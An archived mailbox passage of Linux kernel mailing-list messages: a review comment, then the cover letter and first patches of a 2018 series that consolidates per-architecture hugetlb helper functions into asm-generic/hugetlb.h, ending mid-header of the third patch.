>>     extern struct kmem_cache *hugepte_cache;
>>   @@ -113,6 +112,7 @@ static inline void flush_hugetlb_page(struct 
>> vm_area_struct *vma,
>>   void flush_hugetlb_page(struct vm_area_struct *vma, unsigned long 
>> vmaddr);
>>   #endif
>>   +#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
>>   void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long 
>> addr,
>>                   unsigned long end, unsigned long floor,
>>                   unsigned long ceiling);
>> @@ -193,4 +193,6 @@ static inline pte_t *hugepte_offset(hugepd_t hpd, 
>> unsigned long addr,
>>   }
>>   #endif /* CONFIG_HUGETLB_PAGE */
>>   +#include <asm-generic/hugetlb.h>
>> +
>
> That include was previously inside #ifdef CONFIG_HUGETLB_PAGE.
> Why put it outside ?
>
> Christophe
>



From - Thu Nov 08 21:41:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 00/11] hugetlb: Factorize hugetlb architecture primitives
Date: Thu,  5 Jul 2018 11:07:05 +0000
Lines: 61
Approved: news@gmane.org
Message-ID: <20180705110716.3919-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530788767 7222 195.159.176.226 (5 Jul 2018 11:06:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 11:06:07 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 13:06:00 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fb25H-0001hk-D2
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 13:05:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753777AbeGELIH (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 07:08:07 -0400
Original-Received: from relay4-d.mail.gandi.net ([217.70.183.196]:34303 "EHLO
        relay4-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753439AbeGELIF (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 07:08:05 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay4-d.mail.gandi.net (Postfix) with ESMTPSA id F331FE0018;
        Thu,  5 Jul 2018 11:07:56 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812282 gmane.linux.ports.arm.kernel:660985 gmane.linux.ports.ia64:28911 gmane.linux.ports.mips.general:65301 gmane.linux.ports.parisc:28763 gmane.linux.ports.ppc64.devel:159712 gmane.linux.ports.sh.devel:57184 gmane.linux.ports.sparc:28086 gmane.linux.kernel.cross-arch:45035
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812282>

In order to reduce copy/paste of functions across architectures and then
make riscv hugetlb port (and future ports) simpler and smaller, this
patchset intends to factorize the numerous hugetlb primitives that are
defined across all the architectures.

Except for prepare_hugepage_range, this patchset moves the versions that
are just pass-through to standard pte primitives into
asm-generic/hugetlb.h by using the same #ifdef semantic that can be
found in asm-generic/pgtable.h, i.e. __HAVE_ARCH_***.

s390 architecture has not been tackled in this serie since it does not
use asm-generic/hugetlb.h at all.
powerpc could be factorized a bit more (cf huge_ptep_set_wrprotect).

This patchset has been compiled on x86 only. 

Changelog:

v4:
  Fix powerpc build error due to misplacing of #include
  <asm-generic/hugetlb.h> outside of #ifdef CONFIG_HUGETLB_PAGE, as
  pointed by Christophe Leroy.

v1, v2, v3:
  Same version, just problems with email provider and misuse of
  --batch-size option of git send-email

Alexandre Ghiti (11):
  hugetlb: Harmonize hugetlb.h arch specific defines with pgtable.h
  hugetlb: Introduce generic version of hugetlb_free_pgd_range
  hugetlb: Introduce generic version of set_huge_pte_at
  hugetlb: Introduce generic version of huge_ptep_get_and_clear
  hugetlb: Introduce generic version of huge_ptep_clear_flush
  hugetlb: Introduce generic version of huge_pte_none
  hugetlb: Introduce generic version of huge_pte_wrprotect
  hugetlb: Introduce generic version of prepare_hugepage_range
  hugetlb: Introduce generic version of huge_ptep_set_wrprotect
  hugetlb: Introduce generic version of huge_ptep_set_access_flags
  hugetlb: Introduce generic version of huge_ptep_get

 arch/arm/include/asm/hugetlb-3level.h        | 32 +---------
 arch/arm/include/asm/hugetlb.h               | 33 +----------
 arch/arm64/include/asm/hugetlb.h             | 39 +++---------
 arch/ia64/include/asm/hugetlb.h              | 47 ++-------------
 arch/mips/include/asm/hugetlb.h              | 40 +++----------
 arch/parisc/include/asm/hugetlb.h            | 33 +++--------
 arch/powerpc/include/asm/book3s/32/pgtable.h |  2 +
 arch/powerpc/include/asm/book3s/64/pgtable.h |  1 +
 arch/powerpc/include/asm/hugetlb.h           | 43 ++------------
 arch/powerpc/include/asm/nohash/32/pgtable.h |  2 +
 arch/powerpc/include/asm/nohash/64/pgtable.h |  1 +
 arch/sh/include/asm/hugetlb.h                | 54 ++---------------
 arch/sparc/include/asm/hugetlb.h             | 40 +++----------
 arch/x86/include/asm/hugetlb.h               | 72 +----------------------
 include/asm-generic/hugetlb.h                | 88 +++++++++++++++++++++++++++-
 15 files changed, 143 insertions(+), 384 deletions(-)

-- 
2.16.2



From - Thu Nov 08 21:41:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 01/11] hugetlb: Harmonize hugetlb.h arch specific defines with pgtable.h
Date: Thu,  5 Jul 2018 11:07:06 +0000
Lines: 43
Approved: news@gmane.org
Message-ID: <20180705110716.3919-2-alex@ghiti.fr>
References: <20180705110716.3919-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530788832 12075 195.159.176.226 (5 Jul 2018 11:07:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 11:07:12 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 13:07:05 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fb26K-00030G-Py
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 13:07:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753910AbeGELJM (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 07:09:12 -0400
Original-Received: from relay4-d.mail.gandi.net ([217.70.183.196]:39091 "EHLO
        relay4-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753439AbeGELJK (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 07:09:10 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay4-d.mail.gandi.net (Postfix) with ESMTPSA id 62355E0006;
        Thu,  5 Jul 2018 11:09:03 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705110716.3919-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812284 gmane.linux.ports.arm.kernel:660986 gmane.linux.ports.ia64:28912 gmane.linux.ports.mips.general:65302 gmane.linux.ports.parisc:28764 gmane.linux.ports.ppc64.devel:159713 gmane.linux.ports.sh.devel:57185 gmane.linux.ports.sparc:28087 gmane.linux.kernel.cross-arch:45036
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812284>

asm-generic/hugetlb.h proposes generic implementations of hugetlb
related functions: use __HAVE_ARCH_HUGE* defines in order to make arch
specific implementations of hugetlb functions consistent with pgtable.h
scheme.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm64/include/asm/hugetlb.h | 2 +-
 include/asm-generic/hugetlb.h    | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index e73f68569624..3fcf14663dfa 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -81,9 +81,9 @@ extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
 				    unsigned long addr, pte_t *ptep);
 extern void huge_ptep_clear_flush(struct vm_area_struct *vma,
 				  unsigned long addr, pte_t *ptep);
+#define __HAVE_ARCH_HUGE_PTE_CLEAR
 extern void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
 			   pte_t *ptep, unsigned long sz);
-#define huge_pte_clear huge_pte_clear
 extern void set_huge_swap_pte_at(struct mm_struct *mm, unsigned long addr,
 				 pte_t *ptep, pte_t pte, unsigned long sz);
 #define set_huge_swap_pte_at set_huge_swap_pte_at
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 9d0cde8ab716..3da7cff52360 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -32,7 +32,7 @@ static inline pte_t huge_pte_modify(pte_t pte, pgprot_t newprot)
 	return pte_modify(pte, newprot);
 }
 
-#ifndef huge_pte_clear
+#ifndef __HAVE_ARCH_HUGE_PTE_CLEAR
 static inline void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
 		    pte_t *ptep, unsigned long sz)
 {
-- 
2.16.2



From - Thu Nov 08 21:41:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 02/11] hugetlb: Introduce generic version of hugetlb_free_pgd_range
Date: Thu,  5 Jul 2018 11:07:07 +0000
Lines: 309
Approved: news@gmane.org
Message-ID: <20180705110716.3919-3-alex@ghiti.fr>
References: <20180705110716.3919-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530788899 17169 195.159.176.226 (5 Jul 2018 11:08:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 11:08:19 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 13:08:13 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fb27O-0004IR-Px
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 13:08:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753816AbeGELKT (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 07:10:19 -0400
Original-Received: from relay1-d.mail.gandi.net ([217.70.183.193]:40441 "EHLO
        relay1-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753492AbeGELKR (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 07:10:17 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay1-d.mail.gandi.net (Postfix) with ESMTPSA id D6BD3240004;
        Thu,  5 Jul 2018 11:10:08 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705110716.3919-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812285 gmane.linux.ports.arm.kernel:660987 gmane.linux.ports.ia64:28913 gmane.linux.ports.mips.general:65303 gmane.linux.ports.parisc:28765 gmane.linux.ports.ppc64.devel:159714 gmane.linux.ports.sh.devel:57186 gmane.linux.ports.sparc:28088 gmane.linux.kernel.cross-arch:45037
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812285>

arm, arm64, mips, parisc, sh, x86 architectures use the
same version of hugetlb_free_pgd_range, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb.h     | 12 ++----------
 arch/arm64/include/asm/hugetlb.h   | 10 ----------
 arch/ia64/include/asm/hugetlb.h    |  5 +++--
 arch/mips/include/asm/hugetlb.h    | 13 ++-----------
 arch/parisc/include/asm/hugetlb.h  | 12 ++----------
 arch/powerpc/include/asm/hugetlb.h |  4 +++-
 arch/sh/include/asm/hugetlb.h      | 12 ++----------
 arch/sparc/include/asm/hugetlb.h   |  4 +++-
 arch/x86/include/asm/hugetlb.h     | 11 ++---------
 include/asm-generic/hugetlb.h      | 11 +++++++++++
 10 files changed, 30 insertions(+), 64 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
index 7d26f6c4f0f5..047b893ef95d 100644
--- a/arch/arm/include/asm/hugetlb.h
+++ b/arch/arm/include/asm/hugetlb.h
@@ -23,19 +23,9 @@
 #define _ASM_ARM_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
 
 #include <asm/hugetlb-3level.h>
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
-
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr, unsigned long len)
 {
@@ -68,4 +58,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 	clear_bit(PG_dcache_clean, &page->flags);
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_ARM_HUGETLB_H */
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 3fcf14663dfa..4af1a800a900 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -25,16 +25,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return READ_ONCE(*ptep);
 }
 
-
-
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr, unsigned long len)
 {
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 74d2a5540aaf..afe9fa4d969b 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -3,9 +3,8 @@
 #define _ASM_IA64_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
+#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
 void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
@@ -70,4 +69,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_IA64_HUGETLB_H */
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 982bc0685330..53764050243e 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -10,8 +10,6 @@
 #define __ASM_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr,
@@ -38,15 +36,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr,
-					  unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 				   pte_t *ptep, pte_t pte)
 {
@@ -114,4 +103,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* __ASM_HUGETLB_H */
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 58e0f4620426..28c23b68d38d 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -3,8 +3,6 @@
 #define _ASM_PARISC64_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
@@ -32,14 +30,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
@@ -71,4 +61,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_PARISC64_HUGETLB_H */
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 3225eb6402cc..a7d5c739df9b 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -4,7 +4,6 @@
 
 #ifdef CONFIG_HUGETLB_PAGE
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
 
 extern struct kmem_cache *hugepte_cache;
 
@@ -113,6 +112,7 @@ static inline void flush_hugetlb_page(struct vm_area_struct *vma,
 void flush_hugetlb_page(struct vm_area_struct *vma, unsigned long vmaddr);
 #endif
 
+#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
 void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
@@ -179,6 +179,8 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #else /* ! CONFIG_HUGETLB_PAGE */
 static inline void flush_hugetlb_page(struct vm_area_struct *vma,
 				      unsigned long vmaddr)
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 735939c0f513..f6a51b609409 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -4,8 +4,6 @@
 
 #include <asm/cacheflush.h>
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr,
@@ -27,14 +25,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 				   pte_t *ptep, pte_t pte)
 {
@@ -85,4 +75,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 	clear_bit(PG_dcache_clean, &page->flags);
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_SH_HUGETLB_H */
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 300557c66698..59d89b52ccb7 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -3,7 +3,6 @@
 #define _ASM_SPARC64_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
 
 #ifdef CONFIG_HUGETLB_PAGE
 struct pud_huge_patch_entry {
@@ -84,8 +83,11 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
 void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_SPARC64_HUGETLB_H */
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 5ed826da5e07..996ce8e15365 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -3,7 +3,6 @@
 #define _ASM_X86_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
 
 #define hugepages_supported() boot_cpu_has(X86_FEATURE_PSE)
 
@@ -28,14 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 				   pte_t *ptep, pte_t pte)
 {
@@ -90,4 +81,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 static inline bool gigantic_page_supported(void) { return true; }
 #endif
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_X86_HUGETLB_H */
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 3da7cff52360..c697ca9dda18 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -40,4 +40,15 @@ static inline void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
+static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
+		unsigned long addr, unsigned long end,
+		unsigned long floor, unsigned long ceiling)
+{
+	free_pgd_range(tlb, addr, end, floor, ceiling);
+}
+
+
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 03/11] hugetlb: Introduce generic version of set_huge_pte_at
Date: Thu,  5 Jul 2018 11:07:08 +0000
Lines: 180
Approved: news@gmane.org
Message-ID: <20180705110716.3919-4-alex@ghiti.fr>
References: <20180705110716.3919-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530788966 21739 195.159.176.226 (5 Jul 2018 11:09:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 11:09:26 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 13:09:19 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fb28V-0005Xs-A1
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 13:09:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753780AbeGELL1 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
